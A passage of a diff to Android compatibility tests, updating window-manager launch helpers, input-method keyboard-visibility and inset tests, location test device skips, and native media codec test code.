         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
                 ? Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
                 ON_CREATE, ON_MULTI_WINDOW_MODE_CHANGED, ON_START, ON_POST_CREATE, ON_RESUME,
-                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE)
+                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                ON_RESUME, ON_PAUSE);
+                ON_RESUME);
+    }
+
+    // TODO(b/149338177): Remove this workaround once test passes with TestTaskOrganizer not to
+    // depend on minimized dock feature which is not policy requirement, but SysUI-specific.
+    /**
+     * Returns the result of appending "leave from minimized dock" transitions to given transitions
+     * to "consume" these activity callbacks.
+     */
+    static List<ActivityCallback> appendMinimizedDockTransitionTrail(
+            List<ActivityCallback> transitions) {
+        final List<LifecycleLog.ActivityCallback> newTransitions =
+                new ArrayList<LifecycleLog.ActivityCallback>(transitions);
+        newTransitions.addAll(Arrays.asList(ON_PAUSE, ON_RESUME));
+
+        return newTransitions;
     }
 
     static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 27b44a5..03fe4a5 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -398,24 +398,59 @@
         private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
         private static final int WAIT_SLICE = 50;
 
+        /**
+         * Launches an {@link Activity} on a target display synchronously.
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         */
         void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
-            launchTestActivityOnDisplaySync(new Intent(mContext, activityClass), displayId);
+            launchTestActivityOnDisplaySync(activityClass, displayId, WINDOWING_MODE_UNDEFINED);
         }
 
+        /**
+         * Launches an {@link Activity} on a target display synchronously.
+         *
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         * @param windowingMode Windowing mode at launch
+         */
         void launchTestActivityOnDisplaySync(
                 Class<T> activityClass, int displayId, int windowingMode) {
-            launchTestActivityOnDisplaySync(
-                    new Intent(mContext, activityClass), displayId, windowingMode);
+            final Intent intent = new Intent(mContext, activityClass)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final String className = intent.getComponent().getClassName();
+            launchTestActivityOnDisplaySync(className, intent, displayId, windowingMode);
         }
 
-        void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
-            launchTestActivityOnDisplaySync(intent, displayId, WINDOWING_MODE_UNDEFINED);
+        /**
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to 
+         * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+         *
+         * @param className Optional class name of expected activity
+         * @param intent Intent to launch an activity
+         * @param displayId ID for the target display
+         */
+        void launchTestActivityOnDisplaySync(@Nullable String className, Intent intent,
+                int displayId) {
+            launchTestActivityOnDisplaySync(className, intent, displayId, WINDOWING_MODE_UNDEFINED);
         }
 
-        void launchTestActivityOnDisplaySync(Intent intent, int displayId, int windowingMode) {
+        /**
+         * Launches an {@link Activity} synchronously on a target display. The class name needs to
+         * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+         *
+         * @param className Optional class name of expected activity
+         * @param intent Intent to launch an activity
+         * @param displayId ID for the target display
+         * @param windowingMode Windowing mode at launch
+         */
+        void launchTestActivityOnDisplaySync(
+                @Nullable String className, Intent intent, int displayId, int windowingMode) {
             SystemUtil.runWithShellPermissionIdentity(
                     () -> {
-                        mTestActivity = launchActivityOnDisplay(intent, displayId, windowingMode);
+                        mTestActivity =
+                                launchActivityOnDisplay(
+                                        className, intent, displayId, windowingMode);
                         // Check activity is launched and resumed.
                         final ComponentName testActivityName = mTestActivity.getComponentName();
                         waitAndAssertTopResumedActivity(
@@ -423,25 +458,47 @@
                     });
         }
 
+        /**
+         * Launches an {@link Activity} on a target display asynchronously.
+         * @param activityClass The {@link Activity} class to be launched
+         * @param displayId ID of the target display
+         */
         void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
+            final Intent intent = new Intent(mContext, activityClass)
+                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final String className = intent.getComponent().getClassName();
             SystemUtil.runWithShellPermissionIdentity(
                     () -> {
                         mTestActivity =
                                 launchActivityOnDisplay(
-                                        new Intent(mContext, activityClass)
-                                                .addFlags(FLAG_ACTIVITY_NEW_TASK),
-                                        displayId,
-                                        WINDOWING_MODE_UNDEFINED);
+                                        className, intent, displayId, WINDOWING_MODE_UNDEFINED);
                         assertNotNull(mTestActivity);
                     });
         }
 
-        private T launchActivityOnDisplay(Intent intent, int displayId, int windowingMode) {
+        /**
+         * Launches an {@link Activity} on a target display. In order to return the correct activity
+         * the class name or an explicit {@link Intent} must be provided.
+         *
+         * @param className Optional class name of expected activity
+         * @param intent {@link Intent} to launch an activity
+         * @param displayId ID for the target display
+         * @param windowingMode Windowing mode at launch
+         * @return The {@link Activity} that was launched
+         */
+        private T launchActivityOnDisplay(
+                @Nullable String className, Intent intent, int displayId, int windowingMode) {
+            final String localClassName = className != null ? className :
+              (intent.getComponent() != null ? intent.getComponent().getClassName() : null);
+            if (localClassName == null || localClassName.isEmpty()) {
+                fail("Must provide either a class name or an intent with a component");
+            }
             final ActivityOptions launchOptions = ActivityOptions.makeBasic();
             launchOptions.setLaunchDisplayId(displayId);
             launchOptions.setLaunchWindowingMode(windowingMode);
             final Bundle bundle = launchOptions.toBundle();
-            final ActivityMonitor monitor = mInstrumentation.addMonitor((String) null, null, false);
+            final ActivityMonitor monitor = mInstrumentation.addMonitor(localClassName, null,
+                    false);
             mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
             // Wait for activity launch with timeout.
             mTestActivity = (T) mInstrumentation.waitForMonitorWithTimeout(monitor,
@@ -753,6 +810,10 @@
         return null;
     }
 
+    protected int getDisplayWindowingModeByActivity(ComponentName activity) {
+        return mWmState.getDisplay(mWmState.getDisplayByActivity(activity)).getWindowingMode();
+    }
+
     /**
      * Launches the home activity directly. If there is no specific reason to simulate a home key
      * (which will trigger stop-app-switches), it is the recommended method to go home.
@@ -1188,6 +1249,11 @@
                 .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
     }
 
+    protected static boolean remoteInsetsControllerControlsSystemBars() {
+        return getInstrumentation().getTargetContext().getResources()
+                .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
+    }
+
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
         return mObjectTracker.manage(new HomeActivitySession(homeActivity));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 4039a13..418d298 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1023,6 +1023,12 @@
             sizeInfo = new SizeInfo(display, metrics, config);
         }
 
+        public ConfigInfo(Resources res) {
+            final DisplayMetrics metrics = res.getDisplayMetrics();
+            final Configuration config = res.getConfiguration();
+            sizeInfo = new SizeInfo(null /* display */, metrics, config);
+        }
+
         @Override
         public String toString() {
             return "ConfigInfo: {displayId=" + displayId + " rotation=" + rotation
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index e304958..9df1fc8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -63,6 +63,7 @@
         final WindowContainerTransaction t = new WindowContainerTransaction();
         t.setBounds(taskInfo.getToken(), null);
         t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
+        t.reorder(mRootPrimary.getToken(), true /* onTop */);
         applyTransaction(t);
     }
 
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index 7419606..dc81b26 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -70,10 +70,10 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
     </target_preparer>
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index 144eee0..b1d8554 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -17,6 +17,7 @@
 package com.android.cts.mockime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -28,6 +29,13 @@
  */
 public final class Watermark {
     /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
+    /**
      * A utility class that represents A8R8G8B bitmap as an integer array.
      */
     private static final class BitmapImage {
@@ -96,15 +104,30 @@
         }
 
         /**
-         * Checks if the same image can be found in the specified {@link BitmapImage}
+         * Compares two given pixels to determine whether those two pixels are considered to be
+         * the same within {@link #TOLERANCE}.
+         *
+         * @param lhs a color integer to be compared.
+         * @param rhs another color integer to be compared.
+         * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+         */
+        private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+            return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                    && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                    && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+        }
+
+        /**
+         * Checks if the same image can be found in the specified {@link BitmapImage} within
+         * within {@link #TOLERANCE}.
          *
          * @param targetImage {@link BitmapImage} to be checked.
          * @param offsetX X offset in the {@code targetImage} used when comparing.
          * @param offsetY Y offset in the {@code targetImage} used when comparing.
-         * @return
+         * @return {@true} if two given images are the same within {@link #TOLERANCE}.
          */
         @AnyThread
-        boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+        boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
             final int targetWidth = targetImage.getWidth();
             final int targetHeight = targetImage.getHeight();
 
@@ -118,7 +141,8 @@
                     if (targetY < 0 || targetHeight <= targetY) {
                         return false;
                     }
-                    if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                    if (!robustMatchInternal(
+                            targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                         return false;
                     }
                 }
@@ -231,7 +255,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (sImage.match(targetImage, offsetX, offsetY)) {
+                if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index ebc1d30..dd8d070 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -25,9 +25,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
+import android.graphics.Point;
 import android.os.Process;
 import android.os.SystemClock;
 import android.util.Pair;
+import android.view.View;
 import android.view.Window;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimationControlListener;
@@ -101,6 +103,7 @@
 
             Pair<EditText, Window> launchResult = launchTestActivity();
             final EditText editText = launchResult.first;
+            final View decorView = launchResult.second.getDecorView();
 
             WindowInsets[] lastInsets = new WindowInsets[1];
 
@@ -141,7 +144,8 @@
 
             controlLatch.await(5, TimeUnit.SECONDS);
             assertEquals(0, controlLatch.getCount());
-            assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
             assertEquals(animController[0].getShownStateInsets(), lastInsets[0].getInsets(ime()));
 
             // Change keyboard height, but make sure the insets don't change until the controlling
@@ -151,7 +155,8 @@
             SystemClock.sleep(500);
 
             // Make sure keyboard height hasn't changed yet.
-            assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
 
             // Wait until new insets dispatch
             CountDownLatch insetsLatch = new CountDownLatch(1);
@@ -167,7 +172,8 @@
             assertEquals(0, insetsLatch.getCount());
 
             // Verify new height
-            assertEquals(NEW_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(NEW_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
 
             assertFalse(cancelled[0]);
         }
@@ -197,4 +203,23 @@
             }
         };
     }
+
+    private int getDisplayHeight(View view) {
+        final Point size = new Point();
+        view.getDisplay().getRealSize(size);
+        return size.y;
+    }
+
+    private int getBottomOfWindow(View decorView) {
+        int viewPos[] = new int[2];
+        decorView.getLocationOnScreen(viewPos);
+        return decorView.getHeight() + viewPos[1];
+    }
+
+    private int getExpectedBottomInsets(int keyboardHeight, View decorView) {
+        return Math.max(
+                0,
+                keyboardHeight
+                        - Math.max(0, getDisplayHeight(decorView) - getBottomOfWindow(decorView)));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 9cd6be1..cad3309 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,8 +16,14 @@
 
 package android.view.inputmethod.cts;
 
+import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
@@ -75,6 +81,7 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
 
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
@@ -408,6 +415,96 @@
         }
     }
 
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+    }
+
+    private void runImeDoesntReshowAfterKeyguardTest(int softInputState) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Launch a simple test activity
+            final TestActivity testActivity =
+                    TestActivity.startSync(activity -> new LinearLayout(activity));
+
+            // Launch a dialog and show keyboard
+            final String marker = getTestMarker();
+            final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            final AtomicReference<AlertDialog> dialogRef = new AtomicReference<>();
+            TestUtils.runOnMainSync(() -> {
+                final EditText editText = new EditText(testActivity);
+                editText.setHint("focused editText");
+                editText.setPrivateImeOptions(marker);
+                editText.requestFocus();
+                final AlertDialog dialog = new AlertDialog.Builder(testActivity)
+                        .setView(editText)
+                        .create();
+                dialog.getWindow().setSoftInputMode(softInputState);
+                dialog.show();
+                editText.getWindowInsetsController().show(ime());
+                editTextRef.set(editText);
+                dialogRef.set(dialog);
+            });
+
+            TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
+                    && editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Clear editor focus after screen-off
+            TestUtils.turnScreenOff();
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
+                    TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            // Expect showSoftInput comes when system notify InsetsController to apply show IME
+            // insets after IME input target updated.
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
+
+            // Verify IME will invisible after device unlocked
+            TestUtils.turnScreenOn();
+            TestUtils.unlockScreen();
+            // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+            // focused since the editText view focus has been cleared.
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
+                    && !editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+        }
+    }
+
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index b6d51f3..af4bb57 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -66,8 +66,8 @@
     protected void setUp() {
         // Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
         // support using these keywords to trigger assumption failure and skip test.
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
-            // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
+            // TV, auto, and watch do not support the setting options of WIFI scanning and Bluetooth
             // scanning
             return;
         }
@@ -83,7 +83,7 @@
 
     @CddTest(requirement = "7.4.2/C-2-1")
     public void testWifiScanningSettings() throws Exception {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
         launchScanningSettings();
@@ -115,7 +115,7 @@
 
     @CddTest(requirement = "7.4.3/C-4-1")
     public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
         launchScanningSettings();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 4b2f002..2b8509e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -39,6 +39,8 @@
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 
+import androidx.test.filters.RequiresDevice;
+
 /**
  * Test computing and verifying the pseudoranges based on the raw measurements
  * reported by the GNSS chipset
@@ -256,6 +258,7 @@
      */
     @CddTest(requirement = "7.3.3")
     @AppModeFull(reason = "Flaky in instant mode")
+    @RequiresDevice  // emulated devices do not support real measurements so far.
     public void testPseudoPosition() throws Exception {
         // Checks if Gnss hardware feature is present, skips test (pass) if not
         if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 0617211..3c15844 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="media" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="host" />
         <option name="config-filename" value="CtsMediaV2TestCases" />
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index 4f734c8..ad8bb0a3 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -9,3 +9,7 @@
 marcone@google.com
 pawin@google.com
 wonsik@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/media/jni/NativeCodecDecoderTest.cpp b/tests/media/jni/NativeCodecDecoderTest.cpp
index 754ccb3..0b17d7e 100644
--- a/tests/media/jni/NativeCodecDecoderTest.cpp
+++ b/tests/media/jni/NativeCodecDecoderTest.cpp
@@ -228,8 +228,18 @@
         if (mSaveToMem) {
             size_t buffSize;
             uint8_t* buf = AMediaCodec_getOutputBuffer(mCodec, bufferIndex, &buffSize);
-            if (mIsAudio) mOutputBuff->saveToMemory(buf, info);
-            mOutputBuff->updateChecksum(buf, info);
+            if (mIsAudio) {
+                mOutputBuff->saveToMemory(buf, info);
+                mOutputBuff->updateChecksum(buf, info);
+            } else {
+                AMediaFormat* format =
+                    mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat() : mOutFormat;
+                int32_t width, height, stride;
+                AMediaFormat_getInt32(format, "width", &width);
+                AMediaFormat_getInt32(format, "height", &height);
+                AMediaFormat_getInt32(format, "stride", &stride);
+                mOutputBuff->updateChecksum(buf, info, width, height, stride);
+            }
         }
         mOutputBuff->saveOutPTS(info->presentationTimeUs);
         mOutputCount++;
@@ -360,17 +370,17 @@
             if (validateFormat) {
                 if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                         : !mSignalledOutFormatChanged) {
-                    ALOGE(log, "not received format change");
+                    ALOGE("%s%s", log, "not received format change");
                     isPass = false;
                 } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                    ? mAsyncHandle.getOutputFormat()
                                                                    : mOutFormat)) {
-                    ALOGE(log, "configured format and output format are not similar");
+                    ALOGE("%s%s", log, "configured format and output format are not similar");
                     isPass = false;
                 }
             }
             if (checksum != ref->getChecksum()) {
-                ALOGE(log, "sdk output and ndk output differ");
+                ALOGE("%s%s", log, "sdk output and ndk output differ");
                 isPass = false;
             }
             loopCounter++;
@@ -500,12 +510,12 @@
         if (validateFormat) {
             if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                     : !mSignalledOutFormatChanged) {
-                ALOGE(log, "not received format change");
+                ALOGE("%s%s", log, "not received format change");
                 isPass = false;
             } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                ? mAsyncHandle.getOutputFormat()
                                                                : mOutFormat)) {
-                ALOGE(log, "configured format and output format are not similar");
+                ALOGE("%s%s", log, "configured format and output format are not similar");
                 isPass = false;
             }
         }
@@ -632,12 +642,12 @@
                 if (validateFormat) {
                     if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                             : !mSignalledOutFormatChanged) {
-                        ALOGE(log, "not received format change");
+                        ALOGE("%s%s", log, "not received format change");
                         isPass = false;
                     } else if (!isFormatSimilar(mInpDecFormat,
                                                 mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat()
                                                                     : mOutFormat)) {
-                        ALOGE(log, "configured format and output format are not similar");
+                        ALOGE("%s%s", log, "configured format and output format are not similar");
                         isPass = false;
                     }
                 }
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index bcf6ef1..5444dcb 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -50,6 +50,8 @@
     int mEncBitrate;
     int mEncFramerate;
     int mMaxBFrames;
+    int mLatency;
+    bool mReviseLatency;
     int mMuxTrackID;
 
     OutputManager* mOutputBuff;
@@ -91,6 +93,8 @@
     mEncoder = nullptr;
     resetContext(false, false);
     mMaxBFrames = 0;
+    mLatency = mMaxBFrames;
+    mReviseLatency = false;
     mMuxTrackID = -1;
 }
 
@@ -167,6 +171,9 @@
     CHECK_STATUS(AMediaCodec_configure(mEncoder, mEncFormat, nullptr, nullptr,
                                        AMEDIACODEC_CONFIGURE_FLAG_ENCODE),
                  "AMediaCodec_configure failed");
+    AMediaFormat* inpFormat = AMediaCodec_getInputFormat(mEncoder);
+    mReviseLatency = AMediaFormat_getInt32(inpFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+    AMediaFormat_delete(inpFormat);
     CHECK_STATUS(AMediaCodec_createInputSurface(mEncoder, &mWindow),
                  "AMediaCodec_createInputSurface failed");
     CHECK_STATUS(mAsyncHandleDecoder.setCallBack(mDecoder, isAsync),
@@ -302,6 +309,24 @@
 bool CodecEncoderSurfaceTest::tryEncoderOutput(long timeOutUs) {
     if (mIsCodecInAsyncMode) {
         if (!hasSeenError() && !mSawEncOutputEOS) {
+            int retry = 0;
+            while (mReviseLatency) {
+                if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+                    int actualLatency;
+                    mReviseLatency = false;
+                    if (AMediaFormat_getInt32(mAsyncHandleEncoder.getOutputFormat(),
+                                              AMEDIAFORMAT_KEY_LATENCY, &actualLatency)) {
+                        if (mLatency < actualLatency) {
+                            mLatency = actualLatency;
+                            return !hasSeenError();
+                        }
+                    }
+                } else {
+                    if (retry > 10) return false;
+                    usleep(timeOutUs);
+                    retry ++;
+                }
+            }
             callbackObject element = mAsyncHandleEncoder.getOutput();
             if (element.bufferIndex >= 0) {
                 if (!dequeueEncoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
@@ -314,6 +339,9 @@
             if (bufferID >= 0) {
                 if (!dequeueEncoderOutput(bufferID, &outInfo)) return false;
